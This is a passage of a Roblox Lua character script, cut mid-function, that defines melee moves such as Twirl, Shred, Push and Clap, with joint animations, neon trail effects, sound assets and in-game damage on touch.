        LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
3882
    end
3883
    so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2) 
3884
    so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1) 
3885
    for i=0,1,0.05 do
3886
        swait()
3887
        Torso.Velocity=RootPart.CFrame.lookVector*100
3888
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
3889
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3890
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
3891
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
3892
        RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
3893
        LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
3894
    end
3895
    --dmgstop()
3896
Humanoid.WalkSpeed=12
3897
    attack=false
3898
    con1:disconnect()
3899
    con2:disconnect()
3900
if anim then
3901
anim.Disabled=false
3902
end
3903
if TrailDeb == true then
3904
						TrailDeb = false
3905
end
3906
end
3907
3908
function Twirl()
3909
mana=mana-50
3910
    attack=true
3911
if TrailDeb == false then
3912
							TrailDeb = true
3913
						end
3914
						
3915
3916
coroutine.wrap(function()
3917
local Old = Handle2.CFrame.p
3918
while wait()do
3919
if not TrailDeb then break end
3920
local New = Handle2.CFrame.p
3921
local Mag =(Old -New).magnitude
3922
local Dis =(Old +New)/2
3923
local Trail = Instance.new("Part",Character)
3924
Trail.Material = "Neon"
3925
Trail.Anchored = true
3926
Trail.CanCollide = false
3927
Trail.BrickColor = TorsoColor
3928
Trail.Size = Vector3.new(0.2,Mag,0.2)
3929
Trail.TopSurface = 0
3930
Trail.BottomSurface = 0
3931
Trail.formFactor = "Custom"
3932
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
3933
local ms = Instance.new("BlockMesh",Trail)
3934
ms.Scale = Vector3.new(1,1,1)
3935
local TM = Instance.new("CylinderMesh",Trail)
3936
TM.Scale = Vector3.new(1,1,1)
3937
Old = New
3938
coroutine.wrap(function()
3939
for i = 1,0,-0.1 do
3940
wait()
3941
TM.Scale = TM.Scale * Vector3.new(i,1,i)
3942
end
3943
Trail:remove()
3944
end)()
3945
coroutine.wrap(function()
3946
for i = 1,10 do
3947
wait()
3948
Trail.Transparency = Trail.Transparency +0.1
3949
end end)()end end)()
3950
coroutine.wrap(function()
3951
local Old = Handle.CFrame.p
3952
while wait()do
3953
if not TrailDeb then break end
3954
local New = Handle.CFrame.p
3955
local Mag =(Old -New).magnitude
3956
local Dis =(Old +New)/2
3957
local Trail = Instance.new("Part",Character)
3958
Trail.Material = "Neon"
3959
Trail.Anchored = true
3960
Trail.CanCollide = false
3961
Trail.BrickColor = TorsoColor
3962
Trail.Size = Vector3.new(0.2,Mag,0.2)
3963
Trail.TopSurface = 0
3964
Trail.BottomSurface = 0
3965
Trail.formFactor = "Custom"
3966
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
3967
local ms = Instance.new("BlockMesh",Trail)
3968
ms.Scale = Vector3.new(1,1,1)
3969
local TM = Instance.new("CylinderMesh",Trail)
3970
TM.Scale = Vector3.new(1,1,1)
3971
Old = New
3972
coroutine.wrap(function()
3973
for i = 1,0,-0.1 do
3974
wait()
3975
TM.Scale = TM.Scale * Vector3.new(i,1,i)
3976
end
3977
Trail:remove()
3978
end)()
3979
coroutine.wrap(function()
3980
for i = 1,10 do
3981
wait()
3982
Trail.Transparency = Trail.Transparency +0.1
3983
end end)()end end)()
3984
	Footsteps:Stop()
3985
	Footsteps2:Stop()
3986
    con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) 
3987
    con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) 
3988
    so("http://www.roblox.com/asset/?id=159882598",Torso,1,1)
3989
    for i=0,1,0.1 do
3990
        swait()
3991
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
3992
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3993
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
3994
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)  
3995
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
3996
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
3997
    end
3998
if anim then
3999
anim.Disabled=true
4000
end
4001
    so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1) 
4002
    so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8) 
4003
    for i=0,1,0.05 do
4004
        swait()
4005
        Torso.Velocity=RootPart.CFrame.lookVector*80
4006
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
4007
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4008
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4009
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
4010
        RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
4011
        LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
4012
    end
4013
    so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1) 
4014
    so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8) 
4015
    for i=0,1,0.05 do
4016
        swait()
4017
        Torso.Velocity=RootPart.CFrame.lookVector*80
4018
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
4019
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4020
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4021
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
4022
        RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
4023
        LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
4024
    end
4025
    so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1) 
4026
    so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8) 
4027
    for i=0,1,0.05 do
4028
        swait()
4029
        Torso.Velocity=RootPart.CFrame.lookVector*80
4030
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
4031
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4032
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4033
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
4034
        RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
4035
        LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
4036
    end
4037
    so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1) 
4038
    so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8) 
4039
    for i=0,1,0.05 do
4040
        swait()
4041
        Torso.Velocity=RootPart.CFrame.lookVector*80
4042
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
4043
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4044
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4045
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
4046
        RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
4047
        LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
4048
    end
4049
    --dmgstop()
4050
Humanoid.WalkSpeed=12
4051
    attack=false
4052
    con1:disconnect()
4053
    con2:disconnect()
4054
if anim then
4055
anim.Disabled=false
4056
end
4057
if TrailDeb == true then
4058
						TrailDeb = false
4059
end
4060
end
4061
4062
function Shred()
4063
    attack=true
4064
    mana=mana-100
4065
if TrailDeb == false then
4066
							TrailDeb = true
4067
						end
4068
						
4069
4070
coroutine.wrap(function()
4071
local Old = Handle2.CFrame.p
4072
while wait()do
4073
if not TrailDeb then break end
4074
local New = Handle2.CFrame.p
4075
local Mag =(Old -New).magnitude
4076
local Dis =(Old +New)/2
4077
local Trail = Instance.new("Part",Character)
4078
Trail.Material = "Neon"
4079
Trail.Anchored = true
4080
Trail.CanCollide = false
4081
Trail.BrickColor = TorsoColor
4082
Trail.Size = Vector3.new(0.2,Mag,0.2)
4083
Trail.TopSurface = 0
4084
Trail.BottomSurface = 0
4085
Trail.formFactor = "Custom"
4086
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
4087
local ms = Instance.new("BlockMesh",Trail)
4088
ms.Scale = Vector3.new(1,1,1)
4089
local TM = Instance.new("CylinderMesh",Trail)
4090
TM.Scale = Vector3.new(1,1,1)
4091
Old = New
4092
coroutine.wrap(function()
4093
for i = 1,0,-0.1 do
4094
wait()
4095
TM.Scale = TM.Scale * Vector3.new(i,1,i)
4096
end
4097
Trail:remove()
4098
end)()
4099
coroutine.wrap(function()
4100
for i = 1,10 do
4101
wait()
4102
Trail.Transparency = Trail.Transparency +0.1
4103
end end)()end end)()
4104
coroutine.wrap(function()
4105
local Old = Handle.CFrame.p
4106
while wait()do
4107
if not TrailDeb then break end
4108
local New = Handle.CFrame.p
4109
local Mag =(Old -New).magnitude
4110
local Dis =(Old +New)/2
4111
local Trail = Instance.new("Part",Character)
4112
Trail.Material = "Neon"
4113
Trail.Anchored = true
4114
Trail.CanCollide = false
4115
Trail.BrickColor = TorsoColor
4116
Trail.Size = Vector3.new(0.2,Mag,0.2)
4117
Trail.TopSurface = 0
4118
Trail.BottomSurface = 0
4119
Trail.formFactor = "Custom"
4120
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
4121
local ms = Instance.new("BlockMesh",Trail)
4122
ms.Scale = Vector3.new(1,1,1)
4123
local TM = Instance.new("CylinderMesh",Trail)
4124
TM.Scale = Vector3.new(1,1,1)
4125
Old = New
4126
coroutine.wrap(function()
4127
for i = 1,0,-0.1 do
4128
wait()
4129
TM.Scale = TM.Scale * Vector3.new(i,1,i)
4130
end
4131
Trail:remove()
4132
end)()
4133
coroutine.wrap(function()
4134
for i = 1,10 do
4135
wait()
4136
Trail.Transparency = Trail.Transparency +0.1
4137
end end)()end end)()
4138
	Footsteps:Stop()
4139
	Footsteps2:Stop()
4140
    con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,30,40,math.random(20,40),"Normal",RootPart,.2,1) end) 
4141
    con2=Gear.Touched:connect(function(hit) Damagefunc(hit,30,40,math.random(20,40),"Normal",RootPart,.2,1) end) 
4142
    so("http://www.roblox.com/asset/?id=159882578",Torso,1,1) 
4143
    for i=0,1,0.1 do
4144
        swait()
4145
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
4146
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4147
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4148
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)  
4149
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
4150
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
4151
    end
4152
if anim then
4153
anim.Disabled=true
4154
end
4155
    for i=0,1,0.05 do
4156
        swait()
4157
        Torso.Velocity=RootPart.CFrame.lookVector*20
4158
        so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2) 
4159
    	so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1) 
4160
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(0+40*i)),.5)
4161
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4162
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4163
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
4164
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
4165
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
4166
    end
4167
    for i=0,1,0.05 do
4168
        swait()
4169
        Torso.Velocity=RootPart.CFrame.lookVector*40
4170
        so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2) 
4171
    	so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1) 
4172
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(41+80*i)),.5)
4173
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4174
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4175
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
4176
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
4177
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
4178
    end
4179
    for i=0,1,0.05 do
4180
        swait()
4181
        Torso.Velocity=RootPart.CFrame.lookVector*60
4182
        so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2) 
4183
    	so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1) 
4184
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(82+120*i)),.5)
4185
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4186
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4187
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
4188
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
4189
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
4190
    end
4191
    so("http://www.roblox.com/asset/?id=159882625",Torso,1,1)
4192
    so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
4193
    so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
4194
    so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
4195
    so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
4196
    for i=0,1,0.05 do
4197
        swait()
4198
        Torso.Velocity=RootPart.CFrame.lookVector*80
4199
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(124+160*i)),.5)
4200
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4201
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4202
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
4203
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
4204
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
4205
    end
4206
    for i=0,1,0.005 do
4207
        swait()
4208
        Torso.Velocity=RootPart.CFrame.lookVector*100
4209
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(168+4200*i)),.5)
4210
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4211
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4212
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
4213
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
4214
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
4215
    end
4216
    --dmgstop()
4217
Humanoid.WalkSpeed=12
4218
    attack=false
4219
    con1:disconnect()
4220
    con2:disconnect()
4221
if anim then
4222
anim.Disabled=false
4223
end
4224
if TrailDeb == true then
4225
						TrailDeb = false
4226
end
4227
end
4228
4229
function Push()
4230
    attack=true
4231
    mana=mana-20
4232
if TrailDeb == false then
4233
							TrailDeb = true
4234
						end
4235
						
4236
4237
coroutine.wrap(function()
4238
local Old = Handle2.CFrame.p
4239
while wait()do
4240
if not TrailDeb then break end
4241
local New = Handle2.CFrame.p
4242
local Mag =(Old -New).magnitude
4243
local Dis =(Old +New)/2
4244
local Trail = Instance.new("Part",Character)
4245
Trail.Material = "Neon"
4246
Trail.Anchored = true
4247
Trail.CanCollide = false
4248
Trail.BrickColor = TorsoColor
4249
Trail.Size = Vector3.new(0.2,Mag,0.2)
4250
Trail.TopSurface = 0
4251
Trail.BottomSurface = 0
4252
Trail.formFactor = "Custom"
4253
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
4254
local ms = Instance.new("BlockMesh",Trail)
4255
ms.Scale = Vector3.new(1,1,1)
4256
local TM = Instance.new("CylinderMesh",Trail)
4257
TM.Scale = Vector3.new(1,1,1)
4258
Old = New
4259
coroutine.wrap(function()
4260
for i = 1,0,-0.1 do
4261
wait()
4262
TM.Scale = TM.Scale * Vector3.new(i,1,i)
4263
end
4264
Trail:remove()
4265
end)()
4266
coroutine.wrap(function()
4267
for i = 1,10 do
4268
wait()
4269
Trail.Transparency = Trail.Transparency +0.1
4270
end end)()end end)()
4271
coroutine.wrap(function()
4272
local Old = Handle.CFrame.p
4273
while wait()do
4274
if not TrailDeb then break end
4275
local New = Handle.CFrame.p
4276
local Mag =(Old -New).magnitude
4277
local Dis =(Old +New)/2
4278
local Trail = Instance.new("Part",Character)
4279
Trail.Material = "Neon"
4280
Trail.Anchored = true
4281
Trail.CanCollide = false
4282
Trail.BrickColor = TorsoColor
4283
Trail.Size = Vector3.new(0.2,Mag,0.2)
4284
Trail.TopSurface = 0
4285
Trail.BottomSurface = 0
4286
Trail.formFactor = "Custom"
4287
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
4288
local ms = Instance.new("BlockMesh",Trail)
4289
ms.Scale = Vector3.new(1,1,1)
4290
local TM = Instance.new("CylinderMesh",Trail)
4291
TM.Scale = Vector3.new(1,1,1)
4292
Old = New
4293
coroutine.wrap(function()
4294
for i = 1,0,-0.1 do
4295
wait()
4296
TM.Scale = TM.Scale * Vector3.new(i,1,i)
4297
end
4298
Trail:remove()
4299
end)()
4300
coroutine.wrap(function()
4301
for i = 1,10 do
4302
wait()
4303
Trail.Transparency = Trail.Transparency +0.1
4304
end end)()end end)()
4305
    con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) 
4306
    con2=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) 
4307
    for i=0,1,0.1 do
4308
        swait()
4309
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
4310
		Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
4311
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4312
        Handleweld.C0=clerp(Handleweld.C0,cf(-5,0,-10)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)  
4313
        Handle2weld.C0=clerp(Handle2weld.C0,cf(5,0,-10)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)  
4314
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-20)),.3)
4315
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(20)),.3)
4316
    end
4317
    so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8) 
4318
    so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) 
4319
    so("http://www.roblox.com/asset/?id=159882481",Torso,1,1) 
4320
    for i=0,1,0.1 do
4321
        swait()
4322
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
4323
		Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
4324
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4325
        Handleweld.C0=clerp(Handleweld.C0,cf(-4,0,-20)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)  
4326
        Handle2weld.C0=clerp(Handle2weld.C0,cf(4,0,-20)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)  
4327
        RW.C0=clerp(RW.C0,cf(1,0.5,-1)*angles(math.rad(90),math.rad(0),math.rad(-20)),.3)
4328
        LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*angles(math.rad(90),math.rad(0),math.rad(20)),.3)
4329
    end
4330
    --dmgstop()
4331
    attack=false
4332
    con1:disconnect()
4333
    con2:disconnect()
4334
if TrailDeb == true then
4335
						TrailDeb = false
4336
end
4337
end
4338
4339
function Clap()
4340
    attack=true
4341
    mana=mana-20
4342
if TrailDeb == false then
4343
							TrailDeb = true
4344
						end
4345
						
4346
4347
coroutine.wrap(function()
4348
local Old = Handle2.CFrame.p
4349
while wait()do
4350
if not TrailDeb then break end
4351
local New = Handle2.CFrame.p
4352
local Mag =(Old -New).magnitude
4353
local Dis =(Old +New)/2
4354
local Trail = Instance.new("Part",Character)
4355
Trail.Material = "Neon"
4356
Trail.Anchored = true
4357
Trail.CanCollide = false
4358
Trail.BrickColor = TorsoColor
4359
Trail.Size = Vector3.new(0.2,Mag,0.2)
4360
Trail.TopSurface = 0
4361
Trail.BottomSurface = 0
4362
Trail.formFactor = "Custom"
4363
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
4364
local ms = Instance.new("BlockMesh",Trail)
4365
ms.Scale = Vector3.new(1,1,1)
4366
local TM = Instance.new("CylinderMesh",Trail)
4367
TM.Scale = Vector3.new(1,1,1)
4368
Old = New
4369
coroutine.wrap(function()
4370
for i = 1,0,-0.1 do
4371
wait()
4372
TM.Scale = TM.Scale * Vector3.new(i,1,i)
4373
end
4374
Trail:remove()
4375
end)()
4376
coroutine.wrap(function()
4377
for i = 1,10 do
4378
wait()
4379
Trail.Transparency = Trail.Transparency +0.1
4380
end end)()end end)()
4381
coroutine.wrap(function()
4382
local Old = Handle.CFrame.p
4383
while wait()do
4384
if not TrailDeb then break end
4385
local New = Handle.CFrame.p
4386
local Mag =(Old -New).magnitude
4387
local Dis =(Old +New)/2
4388
local Trail = Instance.new("Part",Character)
4389
Trail.Material = "Neon"
4390
Trail.Anchored = true
4391
Trail.CanCollide = false
4392
Trail.BrickColor = TorsoColor
4393
Trail.Size = Vector3.new(0.2,Mag,0.2)
4394
Trail.TopSurface = 0
4395
Trail.BottomSurface = 0
4396
Trail.formFactor = "Custom"
4397
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
4398
local ms = Instance.new("BlockMesh",Trail)
4399
ms.Scale = Vector3.new(1,1,1)
4400
local TM = Instance.new("CylinderMesh",Trail)
4401
TM.Scale = Vector3.new(1,1,1)
4402
Old = New
4403
coroutine.wrap(function()
4404
for i = 1,0,-0.1 do
4405
wait()
4406
TM.Scale = TM.Scale * Vector3.new(i,1,i)
4407
end
4408
Trail:remove()
4409
end)()
4410
coroutine.wrap(function()
4411
for i = 1,10 do
4412
wait()
4413
Trail.Transparency = Trail.Transparency +0.1
4414
end end)()end end)()
4415
    con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) 
4416
    con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) 
4417
    so("http://www.roblox.com/asset/?id=159882584",Torso,1,0.9) 
4418
    for i=0,1,0.08 do
4419
        swait()
4420
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
4421
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
4422
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4423
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,1,-5)*angles(math.rad(0),math.rad(-40),math.rad(20)),.2)
4424
        Handleweld.C0=clerp(Handleweld.C0,cf(5,1,-5)*angles(math.rad(0),math.rad(40),math.rad(-20)),.2)
4425
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-30,0,-20),.3)
4426
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-30,0,20),.3)
4427
    end
4428
    so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8) 
4429
    so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) 
4430
    for i=0,1,0.08 do
4431
        swait()
4432
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
4433
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
4434
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4435
        Handle2weld.C0=clerp(Handle2weld.C0,cf(4,1,-5)*angles(math.rad(0),math.rad(-43),math.rad(20)),.2)
4436
        Handleweld.C0=clerp(Handleweld.C0,cf(-4,1,-5)*angles(math.rad(0),math.rad(43),math.rad(-20)),.2)
4437
        LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
4438
        RW.C0=clerp(RW.C0,cf(1,0.5,-1)*euler(-30,0,-20),.3)
4439
    end
4440
    --dmgstop()
4441
    attack=false
4442
    con1:disconnect()
4443
    con2:disconnect()
4444
if TrailDeb == true then
4445
						TrailDeb = false
4446
end
4447
end
4448
4449
function Hai()
4450
    attack=true
4451
    Humanoid.WalkSpeed=0
4452
    so("http://www.roblox.com/asset/?id=159882567",Torso,1,1)
4453
    for i=0,1,0.1 do
4454
        swait()
4455
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
4456
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
4457
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
